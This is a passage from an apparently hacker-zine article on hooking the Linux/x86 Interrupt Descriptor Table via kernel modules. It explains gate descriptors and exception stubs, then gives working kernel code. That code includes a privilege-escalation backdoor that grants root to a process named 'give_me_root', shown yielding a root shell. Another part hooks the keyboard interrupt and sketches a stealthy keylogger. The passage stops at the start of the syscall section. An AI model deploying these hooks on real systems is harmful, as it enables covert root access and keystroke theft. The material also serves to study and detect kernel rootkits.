5.3.1 ‑ Hooking of sys_setuid

5.3.2 ‑ Hooking of sys_write

5.4 ‑ Hooking for fun

6 ‑ CheckIDT

7 ‑ References & Greetz

8 ‑ Appendix

‑‑[ 1 ‑ Introduction

The Intel CPU can be run in two modes: real mode and protected mode. The first mode does not protect any kernel registers from being altered by userland programs. All modern Operating System make use of the protected mode feature to restrict access to critical registers by userland processes. The protected mode offers 4 different 'privilege levels' (ranging from 0..3, aka ring0..ring3). Userland applications are usually executed in ring3. The kernel on the other hand is executed in the most privileged mode, ring0. This grants the kernel full access to all CPU registers, all parts of the hardware and the memory. With no question is this the mode of choice to do start some hacking.

The article will demonstrate techniques for modifying the Interrupt Descriptor Table (IDT) on Linux/x86. Further on will the article explain how the same technique can be used to redirect system calls to achieve similar capability as with Loadable Kernel Modules (LKM).

The presented examples in this article will only make use of LKM to load the executable code into kernel space for simplicity reasons. Other techniques which are not scope of this document can be used to either load the executable code into the kernel space or to hide the kernel module (Spacewalker's method for example).

CheckIDT which is a useful tool for examining the IDT and to avoid kernel panics every 5 minutes is provided at the end of that paper.

‑‑[ 2 ‑ Presentation

‑‑‑‑[ 2.1 ‑ What's an interrupt?

"An interrupt is usually defined as an event that alters the sequence of instructions executed by a processor. Such events correspond to electrical signals generated by hardware circuits both inside and outside of the CPU chip."

(from: "Understanding the Linux kernel," O'Reilly publishing.)

‑‑‑‑[ 2.2 ‑ Interrupts and exceptions

The Intel reference manual refers to "synchronous interrupts" (those which are produced by the CPU Control Unit (CU) after the execution of an instruction has been finished) as "exceptions". Asynchronous interrupts (those which are generated by other hardware devices at arbitrary time) are referred to as just "interrupts". Interrupts are issued by external I/O devices whereas exceptions are caused either by programming errors or by anomalous conditions that must be handled by the kernel. The term "Interrupt Signals" will be used during this article to refer to both, exceptions and interrupts.

Interrupts are split into two categories: Maskable interrupts which can be ignored (or 'masked') for a short time period and non‑maskable interrupts which must be handled immediately. Unmaskable interrupts are generated by critical events such as hardware failures; I won't deal with them here. The well‑known IRQs (Interrupt ReQuests) fall into the category of maskable interrupts.

Exceptions are split into two different categories: Processor generated exceptions (Faults, Traps, Aborts) and programmed exceptions which can be triggered by the assembler instructions int or int3. The latter one are often referred to as software interrupts.

‑‑‑‑[ 2.3 ‑ Interrupt vector

Each interrupt or exception is identified by a number between 0 and 255. Intel calls this number a vector. The numbers are classified like this:

‑ From 0 to 31 : exceptions and non‑maskable interrupts

‑ From 32 to 47 : maskable interrupts

‑ From 48 to 255 : software interrupts

Linux uses only one software interrupt (0x80) which is used for the syscall interface to invoke kernel functions.

Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to the interrupt vectors 32..47.

‑‑‑‑[ 2.4 ‑ What is IDT ?

IDT = Interrupt Descriptor Table

The IDT is a linear table of 256 entries which associates an interrupt handler with each interrupt vector.

Each entry of the IDT is a descriptor of 8 bytes which blows the entire IDT up to a size of 256 * 8 = 2048 bytes.

The IDT can contain three different types of descriptors/entries:

‑ Task Gate Descriptor

Linux does not use this descriptor

‑ Interrupt Gate Descriptor

63 48|47 40|39 32

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |D|D| | | | | | | | |

| HANDLER OFFSET (16‑31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED

| | |L|L| | | | | | | | |

========================================

|

SEGMENT SELECTOR | HANDLER OFFSET (0‑15) |

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

31 16|15 0

‑ bits 0 to 15 : handler offset low

‑ bits 16 to 31 : segment selector

‑ bits 32 to 37 : reserved

‑ bits 37 to 39 : 0

‑ bits 40 to 47 : flags/type

‑ bits 48 to 63 : handler offset high

‑ Trap Gate Descriptor

Same as the previous one, but the flag is different

The flag is composed as next :

‑ 5 bits for the type

interrupt gate : 1 1 1 1 0 trap gate : 0 1 1 1 0

‑ 2 bits for DPL

DPL = descriptor privilege level

‑ 1 bit reserved

Offset low and offset high contain the address of the function handling the interrupt. This address is jumped at when an interrupt occurs. The goal of the article is to change one of these addresses and let our own interrupthandler beeing executed.

DPL=Descriptor Privilege Level

The DPL is equal to 0 or 3. Zero is the most privileged level (kernel mode). The current execution level is saved in the CPL register (Current Privilege Level). The UC (Unit Of Control) compares the value of the CPL register against the DPL field of the interrupt in the IDT. The interrupt handler is executed if the DPL field is greater (less privileged) or equal to the value in the CPL register. Userland applications are executed in ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by userland applications.

The IDT is initialized one first time by the BIOS routine but Linux does it one more time when it take control. The asm lidt function initialize the idtr registry which will contain the size and idt's address. Then the setup_idt function fill the 256 entry of the idt with the same interrupt gate, ignore_int. Then the good gate will be inserted into the idt by the next functions:

linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr) insert an interrupt gate at the n place at the address pointed to by the idt register. The interrupt handler's address is stored in 'addr'.

linux/arch/i386/kernel/irq.c

All maskable interrupts and software interrupts are initialized with: set_intr_gate :

#define FIRST_EXTERNAL_VECTOR 0x20

for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]);

linux/arch/i386/kernel/traps.c::set_system_gate(n, addr) insert a trap gate.

The DPL field is set to 3.

These interrupts can be invoked from the userland (ring3).

set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call);

linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr) insert a trap gate with the DPL field set to 0. The Others exception are initialized with set_trap_gate :

set_trap_gate(0,&divide_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check)

IRQ interrupts are initialized by set_intr_gate(), Exception int3, overflow, bound and the system_call software interrupt by set_system_gate(). All others exceptions are initialized by set_trap_gate().

Let's start over with some practice and examine the currently assigned handler addresses for each interrupt. Use the tool CheckIDT [6] attached to this article for this:

%./checkidt ‑A ‑s

Int *** Stub Address * Segment *** DPL * Type Handler Name

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error 1 0xc0109358 KERNEL_CS 0 Trap gate debug

2 0xc0109364 KERNEL_CS 0 Trap gate nmi

3 0xc0109370 KERNEL_CS 3 System gate int3

4 0xc010937c KERNEL_CS 3 System gate overflow 5 0xc0109388 KERNEL_CS 3 System gate bounds

6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op ...

18 0xc0109400 KERNEL_CS 0 Trap gate machine_check 19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int ...

31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ...

47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01091b4 KERNEL_CS 3 System gate system_call

The System.map contains the symbol names to the addresses shown above.

% grep c0109364 /boot/System.map

00000000c0109364 T nmi

nmi=not maskable interrupt ‑>trap_gate

% grep c010937c /boot/System.map

00000000c010937c T overflow

overflow ‑> system_gate

% grep c01001e4 /boot/System.map

00000000c01001e4 t ignore_int

18 to 31 are reserved by Intel for further use

% grep c010a0e0 /boot/System.map

00000000c010a0e0 t IRQ0x01_interrupt

device keyboard ‑>intr_gate

% grep c01091b4 /boot/System.map

00000000c01091b4 T system_call

system call ‑> system_gate

rem: there is a new option in checkIDT for resolving symbol

‑‑[ 3 ‑ Exceptions

‑‑‑‑[ 3.1 ‑ List of exceptions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

number | Exception | Exception Handler |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 | Divide Error| divide_error() |

1 | Debug| debug() |

2 | Nonmaskable Interrupt | nmi() |

3 | Break Point| int3() |

4 | Overflow| overflow() |

5 | Boundary verification| bounds() | 6 | Invalid operation code| invalid_op() | 7 | Device not available| device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun| coprocesseur_segment_overrun() | 10 | TSS not valid| invalid_tss() |

11 | Segment not present| segment_no_present() | 12 | stack exception | stack_segment() |

13 | General Protection | general_protection() | 14 | Page Fault| page_fault() |

15 | Reserved by Intel| none |

16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check| alignement_check() |

18 | Machine Check| machine_check() |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Exceptions are divided into two categories:

‑ processor detected exceptions (DPL field set to 0)

‑ software interrupts (aka programmed exceptions), (DPL field set to 3).

The latter one can be invoked from userland.

‑‑‑‑[ 3.2 ‑ Whats happening when an exception occurs ?

On the occurrence of an exception the corresponding handler address from the current IDT is executed. This handler is not the real handler who deals with the exception, it's just jumps till the true/good handler.

To be clearer :

exception ‑‑‑‑‑> intermediate Handler ‑‑‑‑‑> Real Handler

entry.S defines all the intermediate Handler, also called Generic Handler or stub. The first Handler is written in asm, the real Handler written in C.

For not being confused, lets call the first handler : asm Handler and the second one the C Handler.

let's have a look at entry.S :

entry.S :

‑‑‑‑‑‑‑‑‑

****************************************

ENTRY(nmi)

pushl $0

pushl $ SYMBOL_NAME(do_nmi)

jmp error_code

ENTRY(int3)

pushl $0

pushl $ SYMBOL_NAME(do_int3)

jmp error_code

ENTRY(overflow)

pushl $0

pushl $ SYMBOL_NAME(do_overflow)

jmp error_code

ENTRY(divide_error)

pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error)

ALIGN

error_code:

pushl %ds

pushl %eax

xorl %eax,%eax

pushl %ebp

pushl %edi

pushl %esi

pushl %edx

decl %eax # eax = ‑1

pushl %ecx

pushl %ebx

cld

movl %es,%cx

movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address movl %eax, ORIG_EAX(%esp)

movl %ecx, ES(%esp)

movl %esp,%edx

pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx

movl %dx,%ds

movl %dx,%es

GET_CURRENT(%ebx)

call *%edi

addl $8,%esp

jmp ret_from_exception

****************************************

Let's examine the above:

ALL handlers have the same structure (only system_call and device_not_available are different):

pushl $0

pushl $ SYMBOL_NAME(do_####name)

jmp error_code

Pushl $0 is only used for some exceptions. The UC is supposed to smear the hardware error value of the exception onto the stack. Some exceptions to not generate an error value and $0 (zero) is pushed instead. The last line jumps to error_code (see linux/arch/i386/kernel/entry.S for details).

error code is an asm macro used by the exceptions.

so let's resume once again

exception ‑‑‑> intermediate Handler ‑‑‑> error_code macro ‑‑‑> Real Handler

The Assembly fragment error_code performs the following steps:

1: Saves the registers that might be used by the high‑level C function on the stack.

2: Set eax to ‑1.

3: Copy the hardware error value ($esp + 36) and the handler's address ($esp + 32) in esi and edi respectively.

movl ORIG_EAX(%esp), %esi

movl ES(%esp), %edi

4: Place eax, which is equal to ‑1, at the error code emplacement. Copy the content of es to the stack location at $esp + 32.

5: Save the the stack's top Address into edx,then smear error_code which we get back at point 3 and edx on the stack.

The stack's top address must be saved for later use.

6: Place the kernel data segment selector into the ds and es registry.

7: Set the current process descriptor's address in ebx.

8: Stores the parameters to be passed to the high‑level C function on the stack (e.g. the hardware exception value and the address and the stack location of the saved registers from the user mode process).

9: Call the exception handler (address is in edi, see 3).

10: The two last instructions are for the back of the exception.

error_code will jump to the suitable exception Manager. The one that's gonna actually handle the exceptions (see traps.c for detailed information).

So these ones are written in C.

Let's take an exception handler as a concrete example. For example, the C handler for non maskable nmi interruption.

rem: taken from traps.c

****************************************

asmlinkage void do_nmi(struct pt_regs * regs, long error_code)

{

unsigned char reason = inb(0x61);

extern atomic_t nmi_counter;

....

****************************************

asmlinkage is a macro used to keep params on the stack. As params are passed from asm code to C code through the stack, it would be bad to get unwanted params put on the top of the stack. Asmlinkage gonna resolve that point.

The function do_nmi gets a pointer of type pt_regs and error_code.

pt_regs is defined into /usr/include/asm/ptrace.h:

struct pt_regs {

long ebx;

long ecx;

long edx;

long esi;

long edi;

long ebp;

long eax;

int xds;

int xes;

long orig_eax;

long eip;

int xcs;

long eflags;

long esp;

int xss;

};

A part of the registry are push on the stack by error_code, the others are some registry pushed by the UC at the hardware level.

This handler will handle the exception and almost all time send a signal to the process.

‑‑‑‑[ 3.3 ‑ Hooking an interrupt (by Mammon)

Mammon wrote a txt on how to hook interrupt under linux. The technique I'm going to explain is similar to that of Mammon but will allow us to handle the interrupt in a more generic/comfortable way.

Let's take int3, the breakpoint interrupt. The handler/stub is defines as following:

ENTRY(int3)

pushl $0

pushl $ SYMBOL_NAME(do_int3)

jmp error_code

The C handler's address is pushed on the stack right after the dummy hardware error value (zero) has been saved. The assembly fragment error_code is executed next. Our approach is to rewrite such an asm handler and push our own handler's address on the stack instead of the original one (do_int3).

Example:

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

"pushl $0 \n"

"pushl ptr_handler(,1) \n"

"jmp *ptr_error_code "

::

);

}

Our new handler looks similar to the original one. The surrounding statements are required to get it compiled with a C compiler.

‑ We put our asm code into a function to make linking easier.

‑ .globl my_stub, will allow us to reference the asm code if we declare in global : extern asmlinkage void my_stub();

‑ align 4,0x90, align the size of one word, on Intel processor the alignement is 4 (32 bits).

‑ push ptr_handler(,1) , conform to the gas syntax,we wont use it later.

For more information about asm inline, see [1].

We push our Handler's address and we jump to error_code.

ptr_handler contain our C Handler's address :

unsigned long ptr_handler=(unsigned long)&my_handler;

The C Handler:

asmlinkage void my_handler(struct pt_regs * regs,long err_code) {

void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;

printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code);

return;

}

We get back two argument, one pointer on the registry, and err_code. We have seen before that error_code push this two argument. We save the old handler's address,the one we was supposed to push (pushl $SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the interrupt and go back to the old handler.Its the same way as hooking a syscall with "classical method".

What's old_handler ?

#define do_int3 0xc010977c

unsigned long old_handler=do_int3;

do_int3 address have been catch from System.map.

rem : We can define a symbol's address on‑the‑fly.

To be clearer :

asm Handler

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

push 0

push our handler

jmp to error_code

error_code

‑‑‑‑‑‑‑‑‑‑

do some operation

pop our handler address

jmp to our C handler

our C Handler

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

save the old handler's address

print a message

return to the real C handler

Real C Handler

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

really deal with the interrupt

Now we have to change the first Handler's address in the corresponding descriptor in the IDT (offset_low and offset_high, see 2.4). The function accepts three parameters: The number of the interrupt hook, the new handler's address and a pointer to save the old handler's address.

void hook_stub(int n,void *new_stub,unsigned long *old_stub) {

unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub

if(old_stub)

*old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub

idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return;

}

unsigned long get_addr_idt (void)

{

unsigned char idtr[6];

unsigned long idt;

__asm__ volatile ("sidt %0": "=m" (idtr));

idt = *((unsigned long *) &idtr[2]);

return(idt);

}

void * get_stub_from_idt (int n)

{

struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];

return ((void *) ((idte‑>offset_high << 16 ) + idte‑>offset_low)); }

struct descriptor_idt:

struct descriptor_idt

{

unsigned short offset_low,seg_selector;

unsigned char reserved,flag;

unsigned short offset_high;

};

We have seen that a descriptor is 64 bits long.

unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag)

(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet

It's a descriptor for the IDT. The only interesting fields are offset_high and offset_low. It's the two fields we will modify.

Hook_stub performs the following steps:

1: We copy our handler's address into new_addr

2: We make the idt variable point on the first IDT descriptor. We got the IDT's address with the function get_addr_idt(). This function execute the asm instruction sidt who get the idt address and his size into a variable.

We get the idt's address from this variable (idtr) and we send it back. This have been already explained by sd and devik in Phrack 58 article 7. 3: We save the old handler's address with the function get_stub_from_idt. This function extract the fields offset_high and offset_low from the gived descriptor and send back the address.

struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];

return ((void *) ((idte‑>offset_high << 16 ) + idte‑>offset_low));

n = the number of the interrupt to hook. idte will then contain the given interrupt descriptor.

We send the handler's address back,for it we send a type

(void*) (32 bits).

offset_high and offset_low do both 16 bits, we slide the bit for offset high to the left,and we add offset_low. The whole part give the handler's address.

4 : new_addr contain our handler's address,always 32 bits.

We extract the 16 MSB and put them into offset_high and the 16 LSB into offset_low.

The fields offset_high and offset_low of the interrupt's descriptor to handle have been changed.

The whole code is available in annexe CODE 1

Why is this technique not perfect?

Its not that its bad, but it isn't appropriate for the others interrupt.Here we admit that all handler are like that :

pushl $0

pushl $ SYMBOL_NAME(do_####name)

jmp error_code

It's True.If you give a look in entry.S, they are almost all look like this. But not all. Imagine you wanna hook the syscall's handler, The device_not_aivable Handler (even if its not really interesting)or even the hardware interrupt....How Will we do it ?

‑‑‑‑[ 3.4 ‑ Generic interrupt hooking

We are going to use another technique to hook a handler. Remember, in the handler written in C, we went back to the true C handler thanks to a return.

Now, we are going to go back in the asm code.

Simple example of handler :

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

" call *%0 \n"

" jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub)

);

}

Here, we make a call to our fake C handler, the handler is executed and goes back to the asm handler which jumps to the true asm handler !

Our C handler :

asmlinkage void my_function()

{

printk("<1>Interrupt %i hijack \n",interrupt);

}

What happens ?

We are going to change the address in the idt by the address of our asm handler. This one will jump to our C handler and will go back to our asm handler which, at the end, will jump to the true asm handler the address of which we have saved.

::"m"(hostile_code),"m"(old_stub)

For those who had not felt up to read the doc on asm inline, here is the syntax :

asm (

assembler instruction

: output operands

: input operands

: list of modified registers

);

You can put asm or __asm__. __asm__ is used to avoid confusion with other vars. You can also put asm volatile, in this case the asm code won't be changed (optimized) during the compilation.

"m"(hostile_code) and "m"(old_stub) are input operands. The first one is equal to %0, the second one to %1, ... So call %0 is equal to call hostile_code. "m" means memory address. hostile_code corresponds to the address of our C handler and old_stub to the address of the handler that was in the idt previously. If this seems impossible to understand, I advice you to read the doc on asm inline [1].

The whole code is in annexe. All the next codes comes from this code. In each new example, I will only show the asm handler et the C handler. The rest will be the same.

First concrete example :

bash‑2.05# cat test.c

#include <stdio.h>

int main ()

{

int a=8,b=0;

printf("A/B = %i\n",a/b);

return 0;

}

bash‑2.05# gcc ‑I/usr/src/linux/include ‑O2 ‑c hookstub‑V0.2.c bash‑2.05# insmod hookstub‑V0.2.o interrupt=0

Inserting hook

Hooking finish

bash‑2.05# ./test

Floating point exception

Interrupt 0 hijack

bash‑2.05# rmmod hookstub‑V0.2

Removing hook

bash‑2.05#

Good ! We see the "Interrupt hijack".

In this code, we use MODULE_PARM which will allow to give parameters during the module insertion. For further information about this syntax, read "linux device drivers" from o'reilly [2] (chapter 2). This will allow us to hook a chosen interrupt with the same module.

‑‑‑‑[ 3.5 ‑ Hooking for profit : our first backdoor

This first very simple backdoor will allow us to obtain a root shell. The C handler is going to give the root rights to the process that has generated the interrupt.

Asm handler

‑‑‑‑‑‑‑‑‑‑‑‑

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

" pushl %%ebx \n"

" movl %%esp,%%ebx \n"

" andl $‑8192,%%ebx \n"

" pushl %%ebx \n"

" call *%0 \n"

" addl $4,%%esp \n"

" popl %%ebx \n"

" jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub)

);

}

We give to the C handler the address of the current process descriptor. We get it back like in error_code, thanks to the macro GET_CURRENT :

#define GET_CURRENT(reg) \

movl %esp, reg; \

andl $‑8192, reg;

defined in entry.S.

rem : We can also use current instead.

We put the result on the stack and we call our function. The rest of the asm code puts the stack back in its previous state and jumps to the true handler.

C handler :

‑‑‑‑‑‑‑‑‑‑‑‑‑

...

unsigned long hostile_code=(unsigned long)&my_function;

...

asmlinkage void my_function(unsigned long addr_task)

{

struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p‑>comm,"give_me_root")==0 )

{

p‑>uid=0;

p‑>gid=0;

}

}

We declare a pointer on the current process descriptor. We compare the name of the process with a name we have chosen. We must not attribute the root rights to all the process which would generate this interrupt. If it is the good process, then we can give it new rights.

"give_me_root" is a little program which launch a shell (system("/bin/sh")). We will only have to put a breakpoint before system to launch a shell with the root rights.

In practice :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

bash‑2.05# gcc ‑I/usr/src/linux/include ‑O2 ‑c hookstub‑V0.3.2.c bash‑2.05# insmod hookstub‑V0.3.2.o interrupt=3

Inserting hook

Hooking finish

bash‑2.05#

///// in another shell //////

sh‑2.05$ cat give_me_root.c

#include <stdio.h>

int main (int argc, char ** argv)

{

system("/bin/sh");

return 0;

}

sh‑2.05$ gcc ‑o give_me_root give_me_root.c

sh‑2.05$ id

uid=1000(kad) gid=100(users) groups=100(users)

sh‑2.05$ gdb give_me_root ‑q

(gdb) b main

Breakpoint 1 at 0x80483f6

(gdb) r

Starting program: /tmp/give_me_root

Breakpoint 1, 0x080483f6 in main ()

(gdb) c

Continuing.

sh‑2.05# id

uid=0(root) gid=0(root) groups=100(users)

sh‑2.05#

We are root. The code is in annexe, CODE 2.

‑‑‑‑[ 3.6 ‑ Hooking for fun

A program that could be interesting is an exception tracer. We could for example hook all the exceptions to print the name of the process that has provoked the exception. We could know all the time who launch what. We could also print the values of the registers.

There is a function show_regs that is in arch/i386/kernel/process.c :

void show_regs(struct pt_regs * regs)

{

long cr0 = 0L, cr2 = 0L, cr3 = 0L;

printk("\n");

printk("EIP: %04x:[<%08lx>]",0xffff & regs‑>xcs,regs‑>eip); if (regs‑>xcs & 3)

printk(" ESP: %04x:%08lx",0xffff & regs‑>xss,regs‑>esp); printk(" EFLAGS: %08lx\n",regs‑>eflags);

printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs‑>eax,regs‑>ebx,regs‑>ecx,regs‑>edx);

printk("ESI: %08lx EDI: %08lx EBP: %08lx",

regs‑>esi, regs‑>edi, regs‑>ebp);

printk(" DS: %04x ES: %04x\n",

0xffff & regs‑>xds,0xffff & regs‑>xes);

__asm__("movl %%cr0, %0": "=r" (cr0));

__asm__("movl %%cr2, %0": "=r" (cr2));

__asm__("movl %%cr3, %0": "=r" (cr3));

printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);

}

You can use this code to print the state of the registers at every exception.

Something more dangerous would be to change the asm handler so that it would not execute the true C handler. The process that has generated the exception would not receive such signals as SIGSTOP or SIGSEGV. This would be very useful in some situations.

‑‑[ 4 ‑ THE HARDWARE INTERRUPTS

‑‑‑‑[ 4.1 ‑ How does it works ?

We can also hook interrupts generated by IRQs with the same method but they are less interesting to hook (unless you have a great idea ;). We are going to hook interrupt 33 which is keyboard's. The problem is that this interrupt happens a lot more. The handler will be executed a large number of times and will have to go very fast to not block the system. To avoid this, we are going to use bottom half. There are functions of low priority which are used for interrupt handling in most cases . The kernel is waiting for the adequate time to launch it, and other interruptions are not masked during its execution

The waiting bottom half will be executed only at the following:

‑ the kernel finishes to handle a syscall

‑ the kernel finishes to handle a exception

‑ the kernel finishes to handle a interrupt

‑ the kernel uses the schedule() function in order to select a new process

But they will be executed before the processor goes back in user mode.

So the bottom half are useful to ensure the quick handle of an interruption.

Here are some examples of linux used bottom halves

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bottom half | Peripheral equipment |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CONSOLE_BH | Virtual console |

IMMEDIATE_BH | Immediate tasks file |

KEYBOARD_BH | Keyboard |

NET_BH | Network interface |

SCSI_BH | SCSI interface |

TIMER_BH | Clock |

TQUEUE_BH | Periodic tasks queue |

... |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My goal writing this paper is not to study the bottom halves, as it's a too wide topic. Anyway, for more informations about that topic, you can have a look at

http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]

IRQ list

‑‑‑‑‑‑‑‑

BEWARE ! : the number of the interrupts are not always the same for the IRQs!

‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IRQ | Interrupt | Peripheral equipment

‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 | 32 | Timer

1 | 33 | Keyboard

2 | 34 | PIC cascade

3 | 35 | Second serial port

4 | 36 | First serial port

6 | 37 | Floppy drive

8 | 40 | System clock

11 | 43 | Network interface

12 | 44 | PS/2 mouse

13 | 45 | Mathematic coprocessor

14 | 46 | First EIDE disk controller

15 | 47 | Second EIDE disk controller

‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 4.2 ‑ Initialization and activation of a bottom half

The low parts must be initialized with the function init_bh(n,routine) that insert the address routine in the n‑th entry of bh_base (bh_base is an array where low parts are kept). When it is initialized, it can be activated and executed. The function mark_bh(n) is used by the interrupt handler to activate the n‑th low part.

The tasklets are the functions themselves. There are put together in list of elements of type tq_struct :

struct tq_struct {

struct tq_struct *next; /* linked list of active bh's */

unsigned long sync; /* must be initialized to zero */

void (*routine)(void *); /* function to call */

void *data; /* argument to function */

};

The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a tasklet that will then be inserted in the task queue thanks to the function queue_task. There is several task queues, the most interesting here is tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate task queue).

(include/linux/tqueue.h)

‑‑‑‑[ 4.3 ‑ Hooking of the keyboard interrupt

When we hit a key, the interrupt happens twice. Once when we push the key and once when we release the key. The code below will display a message every 10 interrupts. If we hit 5 keys, the message appears.

I don't show the asm handler which is the same as in 3.4

Code

‑‑‑‑

...

struct Variable

{

int entier;

char chaine[10];

};

...

static void evil_fonction(void * status)

{

struct Variable *var = (struct Variable * )status;

nb++;

if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var‑>entier,var‑>chaine);

}

...

asmlinkage void my_function()

{

static struct Variable variable;

static struct tq_struct my_task = {NULL,0,evil_fonction,&variable}; variable.entier=3;

strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH);

}

We declare a tasklet my_task. We initialize it with our function and the argument. As the tasklet allow us to take only one argument, we give the address of a structure. This will allow to use several arguments. We add the tasklet to the list tq_immediate thanks to queue_task. Finally, we activate the low part IMMEDIATE_BH thanks to mark_bh:

mark_bh(IMMEDIATE_BH)

We have to activate IMMEDIATE_BH, which handles the tasks queue 'tq_immediate' (the one where we added our own tasklet) evil_function is to be executed just after one of the requested event (listed in part 4.1)

evil_function is just going to display a message each time that the interrupt happened 10 times. We effectively hooked the keyboard interrupt. We could use this method to code a keylogger. This one would be the most quiet because it would act at interrupts level. The issue, that I didn't solve, is to know which key has been hit. To do this, we can use the function inb() that can read on a I/O port. There are 65536 I/O ports (8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports make a 32 bits ports. The functions that allow us to access ports are:

inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port. outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.

So we can read the scancode of the keyboard thanks to the function inb, and its status (pushed, released). Unfortunately, I'm not sure of the port to read. The port for the scancode is 0x60 and the port for the status is 0x64.

scancode=inb(0x60);

status=inb(0x64);

scancode is going to be equal to a value that will have to be transformed to know which key has been hit. This is realized with an array of value. It may exist a function that give directly the conversion, but I'm not sure. If anyone has information about it or wish to develop the topic, he can contact me.

‑‑[ 5 ‑ THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL

‑‑‑‑[ 5.1 ‑ List of the syscalls

